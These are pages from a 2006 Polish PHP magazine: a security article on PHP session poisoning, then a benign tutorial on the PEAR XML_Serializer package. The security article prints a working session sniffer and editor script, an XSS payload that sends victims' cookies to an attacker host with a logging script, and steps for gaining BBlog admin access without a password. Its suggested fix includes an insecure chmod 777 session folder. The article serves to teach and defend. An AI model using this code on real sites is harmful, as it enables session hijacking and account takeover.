Fizyczna lokalizacja zmiennych sesyjnychW przypadku zmiennych POST, GET i COOKIES, nie mamy najmniejszych wątpliwości co do ich fizycznej lokali-zacji. Zarówno zmienne z tablic $_POST jak i $_GET są jednokrotnie przesyłane do skryptu i nie są nigdzie na stałe za-pamiętywane. Zmienne z tabeli $_COOKIE są przetrzymywane na dysku użytkowni-ka w postaci plików ciasteczek zgroma-dzonych w odpowiednim dla danej prze-glądarki miejscu. Natomiast zmienne se-syjne nie są ani przesyłane jednokrot-nie, bo przeczyłoby to ich przeznacze-niu. Nie są też przechowywane po stro-nie użytkownika, gdyż narażałoby je to na modyfikacje, lecz w postaci plików na serwerze (który musi mieć do nich dostęp przez cały czas istnienia sesji).W systemach uniksowych są to plikio nazwach sess_$ID ulokowane w kata-logu /tmp, gdzie $ID oznacza przypisany do danego użytkownika numer sesji.

Struktura takiego pliku wygląda nastę-pująco:

nazwa zmiennej|typ:[długość:]wartość;

A oto przykładowy plik sesji:

zalogowany|i:1;login|s:6:

"unknow";haslo|s:5:"tajne"

Zapis login|s:6:"unknow" oznacza, że w sesji zdefiniowana jest zmienna $login typu tekstowego (s = string) o długości sześciu znaków oraz wartości unknow. Poszczególne zmienne w pliku sesji oddzielone są od siebie znakiem średnika. Dla danych liczbowych nie

ustalamy długości zmiennej i używamy typu integer (litera i), tak jak w przy-padku zmiennej $zalogowany (zalogowa-ny|i:1;), która ma wartość 1.

Modyfikacja sesji poprzez plikiNaszym celem będzie nielegalna mo-dyfikacja pliku sesji w katalogu /tmp/ na dysku serwera. Zadanie to jest znacz-nie ułatwione tym, że pliki sesji tworzo-ne są przez serwer Apache, a więc ich właścicielem jest zazwyczaj użytkownik nobody. Z tego właśnie powodu mamy prawo odczytu i zapisu plików sesji z po-ziomu dowolnego skryptu PHP, którego może używać również włamywacz.

Jak się przed tym obronić? Nale-ży włączyć opcję PHP-ową Safe Mode, co ma miejsce na znacznej większości serwerów hostingowych. Uniemożliwi to przeglądanie plików innych użytkow-ników, również tych znajdujących się w katalogu /tmp. Użycie funkcji readdir() w tym trybie również nie będzie wyko-nalne.

Zatruwanie sesji metodą unknowa & adama_iPrawie pół roku temu na bugtraq serwi-su securityfocus.com pojawił się raport o błędzie, na który podatne są wszyst-kie dotychczasowe wersje PHP. Ra-port ten znajduje się pod adresem http://

Listing 1. Sniffer zmiennych sesyjnych

<?php

if ($sess_number) {setcookie('PHPSESSID',$sess_number);$_COOKIE['PHPSESSID']=$sess_number;}

session_start();

?>

<h1>SniffEdSess</h1>

sniffer&edytor zmienych sesyjnych<br><br>

<form method=post>

<table cellpadding=5 cellspacing=0 border=1>

<tr bgcolor="silver">

<th>numer sesji:</th>

</tr>

<tr>

<td><input type="text" name="sess_number"></td>

</tr>

<tr bgcolor="silver">

<td><input type="submit" value="ok"></td>

</tr>

</table>

</form><br>

<table cellpadding=5 cellspacing=0 border=1>

<tr bgcolor="silver"><th>Przechwycone dane</th></tr>

<tr><td><?var_export($_SESSION);?></td></tr>

</table><br>

<form method=post>

<table cellpadding=5 cellspacing=0 border=1>

<tr bgcolor="silver"><th>Zmienna:</th></tr>

<tr><td><input type="text" name="variable"></td></tr>

<tr bgcolor="silver"><th>Wartosc:</th></tr>

<tr><td><input type="text" name="var_value"></td></tr>

<tr bgcolor="silver"><td><input type="submit" value="Zmień"></td></tr>

</table>

</form>

<?

if (isset($variable)){ echo('<br><font color="green">Ustawiono $variable na wartość '.$var_value.'</font><br><br>');

$_SESSION["$variable"]=$var_value;

}

echo('<br>Copyright &copy by Unknow - [email protected]');

?>

Page 74: PHP Solutions 03 2006 PL

zatruwanie sesji w PHPBezpieczeństwo

www.phpsolmag.org74 PHP Solutions Nr 3/2006

www.securityfocus.com/archive/1/410895/30/0/threaded.

Na czym polega wymienione zagro-żenie? W chwili, gdy użytkownik urucha-mia dowolny skrypt PHP wykorzystują-cy system sesji, zostaje mu przypisane SessionID – unikalny numer identyfikują-cy tę sesję. Co się stanie, jeśli uruchomi-my dwa różne skrypty używające systemu sesji? Zostanie nam przydzielony unikalny numer sesji, lecz... okazuje się, że będzie on w obu przypadkach taki sam! Błąd ten występuje nawet wtedy, gdy uruchomimy dwa skrypty z sesjami na różnych kontach użytkowników. Oznacza to, że przykłado-wy skrypt pod adresem:

http://www.jakisadres.pl/~konto/skrypt.php

wygeneruje nam ten sam numer sesji, co aplikacja znajdująca się pod:

http://www.jakisadres.pl/~innekonto/skrypt.php.

Jest to niezwykle istotna luka w bezpie-czeństwie stanowiąca furtkę dla agresora, gdyż wszystkie zmienne tworzone przez pierwszy skrypt mogą być nadpisywane przez drugi – wystarczy, że pokrywają się ich nazwy.

Sniffing sesji,czyli namierzanie zmiennych sesyjnychSniffing to obserwowanie ruchu w sieci komputerowej w celu przejęcia przesyła-nych danych, w szczególności loginów i ha-seł. Natomiast sniffing sesji odnosi się do przechwytywania i ewentualnego modyfiko-wania zmiennych sesyjnych. Na Listingu 1 przedstawiamy kod prostego sniffera sesji, który będzie wykonywał obie te czynności.

Jego działanie jest następujące: sprawdzamy, czy użytkownik wpisał prze-chwycony przez siebie numer sesji. Je-żeli tak, to tworzymy ciasteczko PHP-SESSID, do którego go przypiszemy. Na-stępnie, niezależnie od wyniku tej opera-cji, uruchamiamy nową sesję na serwerze(session_start). Jak wiemy, jeśli przed wywołaniem tej instrukcji istniała jakaś sesja, to nowo zakładanej sesji zosta-nie przypisany jej numer. Jeśli więc dwa skrypty wywołały tworzenie sesji na jed-nym serwerze, to oba będą używały te-go samego identyfikatora sesji, w konse-kwencji operując na wspólnym pliku i udo-stępniając sobie nawzajem zmienne.

Następnie utworzymy formularz umożli-wiający użytkownikowi wpisanie wspomnia-nego już przechwyconego numeru sesji, który zostanie przesłany metodą POST. Po-tem w tabeli wyświetlimy zawartość tablicy $_SESSION, czyli przechwycone zmienne se-syjne i utworzymy kolejny formularz, pozwa-lający na wpisanie nowej wartości zmien-nej $variable (w polu var_value). Na ko-niec będziemy sprawdzać, czy zmienna $variable istnieje: jeżeli tak, to przypiszemy jej nową wartość, wysłaną przez użytkowni-ka w formularzu i pobraną z pola var_value ($var_value).

Jak widzimy, sniffer nie operuje na pli-kach. Odczytuje on jedynie zawartość tabli-cy zmiennych sesyjnych, co znaczy, że bę-dzie on działał także przy włączonej opcji Safe Mode. Należy jednak pamiętać, że snif-

fer działa jedynie w obrębie serwera, na któ-rym został uruchomiony i tylko pod warun-kiem, że wszystkie sesje zapisywane są w tym samym katalogu. Sprawia to, że użyt-kownicy serwerów dedykowanych oraz wszelkich kont niepublicznych mogą się czuć bezpiecznie. W przypadku serwerów wirtualnych, każde konto ma przeważnie swój własny katalog /tmp, w którym prze-chowywane są sesje, natomiast na serwe-rach niepublicznych nie można umieścić ko-du sniffera.

Komu zagraża sniffer sesji?Jak już wspomniałem, podatne są jedynie serwery, na których istnieje możliwość swo-bodnego założenia konta, a dane tymczaso-we (katalog /tmp) są współdzielone. Ozna-cza to, że choć serwery największych firm

Jak zdobyć numer sesji użytkownika?Istnieje wiele metod zdobycia numeru sesji. Przedstawimy te najpopularniejsze, pomi-jając wszelkiego rodzaju socjotechnikę (czyli manipulowanie zachowaniem użytkowni-ków).

Najprostszym sposobem przechwycenia potrzebnych agresorowi danych jest użycie błędów typu XSS (zostały one opisane w poprzednim numerze PHP Solutions, w artykule Niebezpieczeństwa ataków XSS i CSRF). Przyjmujemy, że większość czytelników wie, na czym polegają tego typu błędy.

Załóżmy, że mamy księgę gości, w którą możemy wpisać dowolny kod HTML. Wpiszmy zatem do niej następujący kod, którego zadaniem będzie pobieranie ciaste-czek:

<script language="JavaScript">

self.location.href="

http://www.intruder.pl/loguj.php?id=

"+escape(document.cookie);

</script>

Następnie pod adresem podanym w skrypcie musimy umieścić plik loguj.php o następują-cej zawartości:

<?php

if (isset($id)){

$plik=fopen('dane.txt','a');

fputs($plik,"$id\n");

fclose($plik); }

echo('Error 404 – nie ma takiej strony');

?>

Gdy już wszystko przygotujemy, każda osoba wchodząca na księgę gości z umieszczo-nym przez agresora kodem będzie automatycznie przekierowywana na stronę z fałszy-wym błędem 404, a jej ciasteczka zostaną zapisane w pliku.

Agresor musi jedynie odczytać ten plik w chwili, gdy ofiara jest jeszcze zalogowana, lub gdy sesja jeszcze nie wygasła. Gdy zdobędzie on numer sesji w takim właśnie mo-mencie, wystarczy, że w drugim oknie uruchomi sniffera sesji prezentowanego na począt-ku artykułu i zmieni numer swojej sesji na właśnie zdobyty.

Naturalnie, prezentowany sposób wstrzykiwania kodu JavaScript w kod strony jest tyl-ko przykładem. Równie dobrze możemy go wstawić jako parametr w adresie strony, o ile parametr ten jest później wyświetlany na stronie bez filtrowania tagów.

Niezwykłą ciekawostką jest fakt, że w chwili, gdy zaczniemy zatruwać przypisaną nam sesję z numerem ofiary, wszystkie odczuwalne przez nas zmiany będą również odczuwal-ne dla ofiary. Oznacza to, że jeśli agresor przypisze sobie numer sesji zdobyty poprzez skrypt logujący, a następnie zmieni sobie poziom użytkownika np. na administratora, to użytkownik, którego numer sesji został skradziony, również natychmiastowo otrzyma pra-wa administratora, ponieważ obie osoby korzystają z tego samego pliku przetrzymujące-go dane sesji.

Page 75: PHP Solutions 03 2006 PL

zatruwanie sesji w PHP Bezpieczeństwo

www.phpsolmag.org 75PHP Solutions Nr 3/2006

hostingowych wydają się bezpieczne, to jednak testy, które przeprowadziłem na ta-nich dostawcach usług hostingowych po-twierdzają, że ich znaczna część jest podat-na na tego typu ataki. Ponadto moi znajo-mi przeprowadzili szereg testów na krakow-skich serwerach uczelnianych, które oferują swoim studentom miejsce na strony domo-we. Dokładnie 100% przeprowadzonych te-stów zakończyło się w tym przypadku suk-cesem, czyli każdy z badanych systemów okazał się podatny na atak. Jeśli więc jesteś posiadaczem konta studenckiego na serwe-rze hostingowym swojej uczelni, lub kupiłeś płatne konto za przysłowiowe 3 zł miesięcz-nie, to możesz być pewien, że twoje dane nie są w pełni bezpieczne.

Przykład użycia sniffera sesjiTym razem posłużymy się istniejącym i nie-zwykle popularnym skryptem, jakim jest BBlog. Jest to system przeznaczony do prowadzenia internetowego pamiętnika (bloga). Jest stosunkowo prosty w budo-wie i zarazem bardzo bezpieczny (od daw-na nie stwierdzono w nim podatności na SQL Injection i ataki innego typu). Mimo to, cały jego system uwierzytelniania użytkow-nika opiera się na zaledwie jednej zmien-nej sesyjnej. Jak widać, autorzy tego opro-gramowania zaufali powszechnej opinii, ja-koby modyfikacja zmiennych sesyjnych by-ła niemożliwa.

W tym przypadku nie będziemy zatru-wali sesji innych użytkowników w celu prze-jęcia ich kont, lecz zatrujemy swoją własną sesję, aby stać się pełnoprawnym użytkow-nikiem bloga. Nasz eksperyment zaczyna-my od instalacji BBLoga na swoim koncie, np. pod adresem:

http://www.naszhost.pl/~naszekonto/pamietnik/

Jednocześnie pod adresem:

http://www.naszhost.pl/~naszekonto/sniffer.php

Umieszczamy kod z Listingu 1. Teraz wchodzimy do panelu administracyjnego założonego przez nas bloga:

http://www.naszhost.pl/~naszekonto/pamietnik/bblog/

W drugim oknie przeglądarki otwieramy snif-fer sesji. Na razie okno przechwyconych zmiennych będzie puste. Logujemy się do

bloga korzystając ze znanych nam danych (podanych podczas instalacji), a jednocze-śnie odświeżamy zawartość okna ze sniffe-rem. W oknie sniffera powinniśmy zobaczyć następujące dane:

Przechwycone dane:

array ( 'user_id' => '1', )

Jak widzimy, jedyną zmienną zmodyfiko-waną podczas logowania jest $user_id. Została jej przypisana wartość 1, co w tym przypadku oznacza administratora (pamię-tajmy, choć że podstawowa wersja BBloga jest przeznaczona dla jednego użytkowni-ka, to z wersji rozszerzonej może korzy-stać więcej użytkowników).

Do ataku!Wiemy już, jaką zmienną musi edytować agresor, aby zalogować się do panelu admi-nistracyjnego. Kolejnym etapem ataku jest założenie konta na tym samym serwisie ho-stingowym, na którym znajduje się blog, na którym chcemy uzyskać większe przywileje. Jeśli więc wybierzemy skrypt:http://www.dowolnyadres.pl/~konto/

To adresem konta osoby testującej oma-wiany błąd będzie np.:

http://www.dowolnyadres.pl/~tester/

Teraz zamieścimy skrypt sniffer.php na swoim koncie (np. za pomocą FTP) i wej-dziemy do panelu administracyjnego blo-ga, otwierając jednocześnie sniffera w dru-gim oknie. Gdy naszym oczom ukaże się formularz pytający o login i hasło do bloga, przełączymy się do naszego skryptu i wpi-szemy do niego dane według schematu:

zmienna: user_id

wartość: 1

Następnie zatwierdzamy zmiany i czekamy na komunikat o nadpisaniu zmiennych. Po-tem powracamy do panelu logowania i od-świeżamy stronę (klawiszem [F5] lub [CTR-L]+[R]). Tym razem okno z loginem i hasłem nie powinno się pojawić – zamiast tego, po-winniśmy się znaleźć w panelu administra-cyjnym. Tak oto zalogowaliśmy się bez uży-cia hasła modyfikując jedynie (teoretycznie niemodyfikowalną) zmienną sesyjną.

Jak się zabezpieczyć?Istnieje kilka metod takiego pisania skryp-tów, aby nie były one podatne na ten błąd.

W pełni skuteczną metodą jest jednak wy-łącznie zmiana folderu przechowywania sesji. Zrobimy to dopisując na początku swojego skryptu następującą linijkę:

session_save_path('sesje/');

Pamiętajmy, aby podkatalog sesje/ istniałi miał ustawione pełne prawa dostępu (chmod 777). Metoda ta stanowi w pełni wystarczają-ce zabezpieczenie zarówno przed ręczną modyfikacją pliku z sesjami (agresor nie bę-dzie wiedział, gdzie przechowywane są se-sje), jak i przed drugą z opisywanych metod.

PodsumowanieNa podstawie przedstawionych przez nas technik przechwytywania i modyfi-kacji zmiennych sesyjnych widać, że nie można w pełni ufać rzekomo oferowane-mu przez sesje bezpieczeństwu. Zamiast tego, należy dołożyć wszelkich starań w celu uniemożliwienia wystąpienia tych oraz wielu innych błędów (np. XSS czy HTML Injection). Obrona przed obiema metodami przechwytywania sesji zajmu-je jedną linijkę kodu zmieniającą położe-nie folderu sesji: pokazuje to, jak niewie-le trzeba, aby być bezpiecznym. n

Rysunek 1. Działanie sniffera sesji

Jakub Mrugalski pracuje jako programi-sta i administrator w jednej z krakowskich agencji reklamowych, a zarazem jest stu-dentem zaocznym informatyki. W wolnym czasie zajmuje się prowadzeniem serwi-su internetowego uw-team.org oraz pro-wadzeniem własnych projektów programi-stycznych.Kontakt z autorem: [email protected]

O autorze:

Page 76: PHP Solutions 03 2006 PL

www.phpsolmag.org76

PEAR

PHP Solutions Nr 3/2006

XML_Serializer

www.phpsolmag.org 77

PEAR

PHP Solutions Nr 3/2006

Generowanie kodu XML z pakietem XML_SerializerAaron Wormus

Od czasu stworzenia standardu XML pod koniec lat 90., po-wszechne podejście do tego

języka uległo poważnym zmianom. Spe-cyfikację XML pierwotnie opracowała gru-pa robocza W3C złożona z przedstawicieli wielu znanych korporacji informatycznych, więc w marketingowej gorączce związanej w utworzeniem nowego, rozszerzalnego języka znaczników obsługa XML-a była dodawana do wielu programów tylko po to, by dołożyć najnowszy chwytliwy skrót do opisu produktu.

Z biegiem lat gorączka ostygła i za-częto używać XML-a do celów, do któ-rych został stworzony. Obecnie można po-wiedzieć, że XML zadomowił się na do-bre w informatyce, a w dodatku znajdu-je zastosowanie w miejscach, o których się autorom pierwotnej specyfikacji na-wet nie śniło. Formaty XML-owe spotyka-my na każdym kroku, od protokołów Web Services poprzez eksport danych z apli-kacji po standard Internet Content Syndi-

Przedstawiamy kolejny bardzo przydatny pakiet PEAR'owy, tym razem związany z XML. W artykule pokażemy zastosowanie XML-owego niezbędnika PHP, czyli pakietu XML_Serializer, pozwalającego szybko i w łatwy sposób generować dokumenty XML.

cation, a wraz z popularyzacją technolo-gii AJAX XML coraz częściej pojawiają się również na zwykłych stronach interneto-wych. W obliczu wszechobecności XML-a we współczesnej informatyce, umiejętność tworzenia i parsowania kodu XML stała się koniecznością dla każdego programisty.

Oczywiście XML znalazł również dro-gę do świata PHP, gdzie zadomowił się na dobre w różnorodnych zastosowaniach: formatowaniu dokumentów, składowaniu danych, protokołach SOAP i XML-RPC i wielu innych.W SIECI

1. http://pear.php.net/package/XML_Serializer– strona główna pakietu XML_Serializer

2. http://xulplanet.com– XULPlanet, ciekawa witry-na o języku XUL

3. http://imdb.com – IMDB, czyli Internet Movie

Data Base

Stopień trudności: lll

Co należy wiedzieć...Powinieneś się dobrze orientowaćw tematyce XML.

Co obiecujemy...Pokażemy jak generować różnego rodzaju dokumenty XML z pomocą pakietu XML_Serializer

Page 77: PHP Solutions 03 2006 PL

www.phpsolmag.org76

PEAR

PHP Solutions Nr 3/2006

XML_Serializer

www.phpsolmag.org 77

PEAR

PHP Solutions Nr 3/2006

Słowo o XML-uZanim zajmiemy się samym pakietem XML_Serializer, nie zawadzi pokrótce przyjrzeć się formatowi i strukturze doku-mentów XML.

Twórcy specyfikacji XML wzorowa-li się na standardzie języka znaczników SGML (ang. Standard General Markup Language), opracowanym jeszcze w la-tach 80. jako format tekstowy nadają-cy się do przetwarzania przez kompu-ter. Ze względu na wysoki stopień ogól-ności SGML był jednak językiem bar-dzo skomplikowanym, stąd też potrze-ba opracowania prostszej jego wersji, nadającej się do wykorzystania w Inter-necie i niewymagającej pełnego parse-ra SGML do przetwarzania dokumentów. XML jest więc podzbiorem języka SGML i opiera się na podobnych do niego za-łożeniach, ale z uwzględnieniem dodat-kowych ograniczeń mających na celu uproszczenie procesu parsowania.

Listing 1 przedstawia przykłado-wy kod prostego dokumentu XML opi-sującego moje ulubione filmy. XML wy-gląda znajomo dla każdego, kto zna HTML. Nieprzypadkowo – oba języ-ki są podzbiorami ogólniejszego forma-tu SGML. Dokument zaczyna się od de-klaracji XML, określającej wersję forma-tu XML oraz metodę kodowania tekstu. W przypadku dokumentów w Unikodzie,

w deklaracji XML należy umieścić atrybut encoding = "utf-8".

Ciało dokumentu XML stanowi je-den znacznik nadrzędny, zawierają-cy całą resztę dokumentu. W przykła-dzie z Listingu 1 znacznikiem nadrzęd-nym jest <movies>, w którym znajduje się wiele znaczników <movie>. Na ra-zie dokument nie zawiera zbyt dużo in-formacji, może poza tym, że lubię filmy z dobrą ścieżką dźwiękową. Listing 2 przedstawia ten sam dokument roz-budowany o dodatkowe znaczniki za-gnieżdżone i atrybuty.

Specyfikacja XML znacznie oczywi-ście wykracza poza te proste przykłady, ale dla potrzeb tego artykułu więcej infor-macji o samym XML-u nie będziemy po-trzebować.

Instalacja pakietuXML_SerializerXML_Serializer jest zależny od kilku in-nych pakietów PEAR, więc instalacja wymaga wykonania następującego po-lecenia: pear install --alldeps xml_

serializer-beta. Spowoduje to zainstalo-wanie pakietów: XML_Serializer, XML_Util i XML_Parser.

Pakiet XML_Serializer nosi oznacze-nie beta, jednak nie wynika ono z jako-ści kodu, a jedynie sygnalizuje możli-wość przyszłych zmian w API. Zgodnie ze standardami PEAR, oznaczenie pa-kietu jako stabilnego (stable) jest równo-znacznie zamrożeniu API w celu utrzy-mania kompatybilności. Z tego też wzglę-du twórcy intensywnie rozwijanych pakie-tów utrzymują je w stanie beta do czasu osiągnięcia przez API dojrzałości gwa-rantującej brak poważniejszych zmianw przyszłości.

Praca z pakietemXML_SerializerZanim zagłębimy się w mechanizmy funkcjonowania pakietu XML_Seriali-zer, przyjrzyjmy się kodowi pokazujące-mu, jak łatwo generować kod XML z po-mocą tego narzędzia (Listing 3). Zaczy-namy od dołączenia pliku zawierającego kod klasy XML_Serializer, po czym two-rzymy tablicę zawierającą dane oraz ta-blicę zawierającą opcje, na podstawie których XML_Serializer będzie genero-wać kod XML.

Tworząc instancję klasy XML_Serializerprzekazujemy konstruktorowi tablicę opcji,

Listing 1. Lista ulubionych filmów w prostym dokumencie XML

<?xml version="1.0"?>

<movies>

<movie>Piąty Element</movie>

<movie>High Fidelity</movie>

</movies>

Listing 2. Lista ulubionych filmów z nieco bardziej szczegółowymi informacjami

<movies>

<movie name="Piąty Element">

<writer>Luc Besson</writer>

<year>1997</year>

<imdb>tt0119116</imdb>

</movie>

<movie name="High Fidelity">

<writer>Nick Hornby</writer>

<year>2000</year>

<imdb>tt0146882</imdb>

</movie>

</movies>

Listing 3. Generowanie kodu XML z pomocą pakietu XML_Serializer

require_once 'XML/Serializer.php';

$movies = array("Piąty Element", "High Fidelity");$options = array ('rootName' => 'movies','defaultTagName' => 'movie');$serializer = &new XML_Serializer($options);$status = $serializer->serialize($movies);

$xml = $serializer->getSerializedData();

header('Content-type: text/xml');echo $xml;

Listing 4. Generowanie kodu XML w trybie simplexml

$movies = array('movie' => array('Piąty Element', 'High Fidelity'));$options = array ('rootName' => 'movies', 'mode' => 'simplexml');

Listing 5. Dodawanie atrybutów do znaczników XML za pomocątablicy asocjacyjnej

$movies = array(array('attr' => array('name' => 'Piąty Element'), "writer" => "Luc Besson",

"year" => "1997",

"imdb" => "tt0119116"),

array('attr' => array('name' => 'High Fidelity'), "writer" => "Nick Hornby",

"year" => "2000",

"imdb" => "tt0146882"));

$options = array ('rootName' => 'movies', 'attributesArray' => "attr",

'defaultTagName' => 'movie');

Page 78: PHP Solutions 03 2006 PL

XML_Serializer

www.phpsolmag.org78

PEAR

PHP Solutions Nr 3/2006

po czym możemy pobrać dane seriali-zowane do kodu XML wywołując metodę getSerializedData(). Kod z Listingu 3 zwraca dane XML odpowiadające przy-

kładowi z Listingu 1. Opcje generowania XML-a można też zmieniać już po utwo-rzeniu instancji XML_Serializer za po-mocą metod setOption() i setOptions(). Jeśli opcje przekazane za pomocą setOption() mają przesłonić opcje pier-wotnie przekazane konstruktorowi, na-leży ustawić parametr overrideOptions na true.

Przyglądając się kodowi XML z do-tychczasowych przykładów nietrudno do-strzec podobieństwo między strukturą drzewa znaczników XML a strukturą ta-blicy asocjacyjnej w PHP. XML_Serializer wykorzystuje to właśnie podobieństwo – jak widać z przykładu, wystarczy tabli-ca z danymi i kilka opcji określających sposób generowania kodu XML.

Zapoznanie się ze wszystkimi do-stępnymi opcjami jest istotnym elemen-tem opanowania pakietu XML_Serializer. Na podstawie tablicy danych można wy-generować dowolnego rodzaju kod XML – wystarczy tylko podać odpowiednie opcje, a niekiedy dodatkowo zmodyfiko-wać strukturę tablicy, by dokładniej odpo-wiadała strukturze pożądanego dokumen-tu XML. Tabela 1 przedstawia najważniej-sze opcje, z których wiele poznamy na kolejnych przykładach. Dostępne są też inne opcje, ale dla potrzeb tego artykułu ich znajomość nie jest konieczna.

Tryby działaniaW pierwszym przykładzie wykorzy-staliśmy prostą tablicę jednowymiaro-

Listing 6. Kod XML wygenerowa-ny z opcją traktowania wszystkich wartości jako atrybutów

<movies>

<movie imdb="tt0119116"

name="Piąty Element"

writer="Luc Besson"

year="1997" />

<movie imdb="tt0146882"

name="High Fidelity"

writer="Nick Hornby"

year="2000" />

</movies>

Listing 7. XML z dodatkowymi informacjami o postaciach z filmów

<movies>

<movie name='Piąty Element'>

<writer>Luc Besson</writer>

<year>1997</year>

<imdb>tt0119116</imdb>

<character name='Leeloo'>

<actor>Milla Jovovich</actor>

<imdb>nm0000170</imdb>

</character>

<character name='Korben Dallas'>

<actor>Bruce Willis</actor>

<imdb>nm0000246</imdb>

</character>

</movie>

<!-- ... -->

</movies>

Tabela 1. Niektóre opcje pakietu XML_Serializer

Nazwa Opisindent Ciąg znaków używany do tworzenia wcięć

linebreak Znak nowej linii (domyślnie \n)

addDecl Dodanie deklaracji XML

encoding Kodowanie znaków w dokumencie

defaultTagName Domyślna nazwa używana w przypadku braku jawnie określonego znacznika

scalarAsAttribute Serializacja wszystkich wartości jako atrybutów; może dotyczyć tylko wybranych znaczników

indentAttributes Wyrównanie atrybutów w pionie w obrębie znacznika

addDoctype Dodanie deklaracji XML Doctype

doctype Ciąg znaków lub tablica z deklaracją Doctype

rootName Ciąg znaków z nazwą znacznika głównego

rootAttributes Atrybuty znacznika głównego

attributesArray Klucz wskazujący tablicę atrybutów dla znacznika macierzystego

contentName Klucz wskazujący wartość używaną jako treść znacznika macierzystego; opcja używana z attributesArray

commentName Treść komentarza

tagMap Odwzorowania nazw znaczników

mode Opcja trybu – ustawienie trybu simplexml spowoduje wykorzystanie klucza wartości macierzystej jako nazwy znacznika

overrideOptions Pozwala opcjom ustawionym za pomocą setOption() lub setOptions() przesłaniać opcje przekazane w konstruktorze

Rysunek 1. Interfejs dla skryptu pobierającego dane o filmach z bazy IMDB

Page 79: PHP Solutions 03 2006 PL

XML_Serializer

www.phpsolmag.org 79

PEAR

PHP Solutions Nr 3/2006

wą, a nazwy znaczników XML wska-zaliśmy za pomocą opcji rootName

i defaultTagName. XML_Serializer po-zwala też osiągnąć ten sam efekt w inny sposób, co w naszym prostym przykła-dzie nie jest może konieczne, ale bar-dzo się przydaje w przypadku bardziej złożonych dokumentów XML.

Za pomocą opcji mode możemy usta-wić tryb działania simplexml, w którym z każdą wartością tablicy kojarzona jest nazwa klucza tablicy nadrzędnej, odpo-wiadająca nazwie znacznika. W trybie domyślnym można podać tylko jedną wartość defaultTagName, podczas gdy tryb simplexml pozwala jawnie określać nazwy znaczników na poszczególnych poziomach, co daje znacznie większą kontrolę nad strukturą dokumentu XML. Kod z Listingu 4 generuje identyczny XML, jak przykład wcześniejszy, ale tym razem korzystając z trybu simplexml.

Decyzja o wyborze trybu w dużym stopniu zależy od rodzaju generowa-nego kodu XML. Tryb domyślny jest ła-twy w obsłudze i w wielu przypadkach sprawdza się zupełnie dobrze, jednak w przypadku bardziej złożonych doku-mentów jedyną możliwością jest tryb simplexml. Pewną wadą pracy w trybie simplexml jest konieczność tworzenia znacznie bardziej rozbudowanych ta-blic danych.

Dodawanie atrybutówDotychczasowe przykłady generowały bardzo prosty kod XML, więc w kolejnym przykładzie pora wprowadzić atrybuty.

XML_Serializer udostępnia kilkametod pracy z atrybutami. Pierw-szym sposobem jest wykorzysta-nie opcji attributesArray, pozwalają-cej na przekazanie klucza definiujące-go tablicę zawierającą nazwy i warto-ści atrybutów, które mają być dodane do znacznika macierzystego. W kodzie z Listingu 5 klucz ten nosi nazwę attr. Wskazanie tak przygotowanej tablicyw opcjach przekazywanych obiekto-wi klasy XML_Serializer daje w wyniku kod XML z Listingu 2.

Dość często trafia się kod XML,w którym wszystkie wartości są składo-wane jako atrybuty, czyli nie ma żadnych wartości w obrębie samych znaczników. Jeśli tak faktycznie jest, to można usta-wić opcję scalarAsAttributes na true, co spowoduje traktowanie wszystkich wartości kluczy w ramach danego znacz-nika jako atrybutów. Listing 6 pokazuje kod XML wygenerowany z tych samych danych po podaniu tej opcji.

Znaczniki zagnieżdżoneMamy już całkiem porządną struktu-rę dokumentu XML do składowania in-formacji o ulubionych filmach, ale przy-dałoby się ją jeszcze nieco rozbudować o informacje na temat głównych posta-ci filmu. Wymaga to dodania dla każdej postaci zestawu znaczników ją opisują-cych – Listing 7 przedstawia przykłado-wy kod XML.

W tym momencie pojawia się pro-blem: nie da się takiego dokumentu zapi-sać w postaci tablicy PHP, gdyż nie mo-

żemy w tej samej tablicy umieścić dwóch kluczy o takiej samej nazwie character. Moglibyśmy nie używać klucza, ale wte-dy XML_Serializer użyłby klucza domyśl-nego, któremu wcześniej przypisaliśmy wartość movie – a zupełnie nie o to nam chodzi.

Rozwiązanie problemu wymaga przejścia we wspomniany wcześniej tryb simplexml i modyfikacji struktury tabli-cy. Dla zwiększenia czytelności podzieli-łem jedną rozbudowaną tablicę na dwie mniejsze. W rzeczywistości dane bę-dą najczęściej pobierane z zewnętrzne-go źródła (na przykład bazy danych lub usługi sieciowej), więc nie ma potrzeby operowania na dużych i niewygodnych tablicach zagnieżdżonych. Dla potrzeb naszego przykładu tablice dobrze jednak ilustrują proces generowania kodu wy-nikowego – Listing 8 pokazuje definicje odpowiednich tablic.

Rzeczywisty przykładNa tym etapie wiemy już, na czym pole-ga generowanie kodu XML za pomocą pakietu XML_Serializer, pora więc wyko-rzystać tę wiedzę w praktyce i wygenero-wać coś, co mogłoby się przydać w rze-czywistych zastosowaniach. W tym ce-lu wygenerujemy plik w formacie XUL – schemacie XML używanym do defi-niowania struktury interfejsu użytkowni-ka w przeglądarkach z rodziny Mozilla. Wykorzystamy tablicę danych z ostat-niego przykładu, po czym podając od-powiednie opcje przetworzymy ją do po-staci poprawnego dokumentu XUL, któ-

R E K L A M A

Page 80: PHP Solutions 03 2006 PL

XML_Serializer

www.phpsolmag.org80

PEAR

PHP Solutions Nr 3/2006

ry zostanie następnie zinterpretowany przez przeglądarkę jako okno interfejsu użytkownika z zakładkami zawierający-mi dodatkowe informacje o filmach po-brane z bazy danych IMDB (Rysunek 1). Listing 9 przedstawia kod realizujący to zadanie.

Dane z tablicy $movies z poprzed-niego przykładu są pobierane w pę-tli foreach i używane do stworzenia no-wej tablicy, na podstawie której zosta-nie wygenerowany kod XUL. Niektórez opcji poznaliśmy już wcześniej, lecz pojawia się również kilka nowych. Opcja rootAttributes przyjmuje argumentw postaci tablicy określającej atrybuty dla znacznika głównego – generujemy doku-ment XUL, więc musimy podać odpo-wiednią dla tego formatu wartość atrybu-tu namespace. Dodatkowo nadałem oknu tytuł Moje ulubione filmy i ustawiłem dwie spacje jako ciąg używany tworzenia wcięć w kodzie XML (to oczywiście tylko kosmetyka, ale dzięki temu kod jest bar-dziej czytelny).

Listing 10 przedstawia kod XML gene-rowany przez ten przykład, a na Rysun-ku 1 widzimy ostateczną postać interfej-su XUL wyświetlanego przez przeglądar-ki Mozilla.

PodsumowanieW tym krótkim artykule poznaliśmy zasa-dy wykorzystania pakietu XML_Serializer do tworzenia różnego rodzaju plików XML. XML_Serializer to naprawdę świetny pakiet i intensywnie korzystam z niego w codziennej pracy. Istnieją wprawdzie inne sposoby generowania kodu XML, ale jak dotąd nie znalazłem żadnego rozwią-zania, które sprawdzałoby się równie do-brze i byłoby równie proste. Mam nadzieję, że udało mi się pokazać możliwości tego pakietu i że będzie on dla Czytelników równie użyteczny, jak dla mnie. n

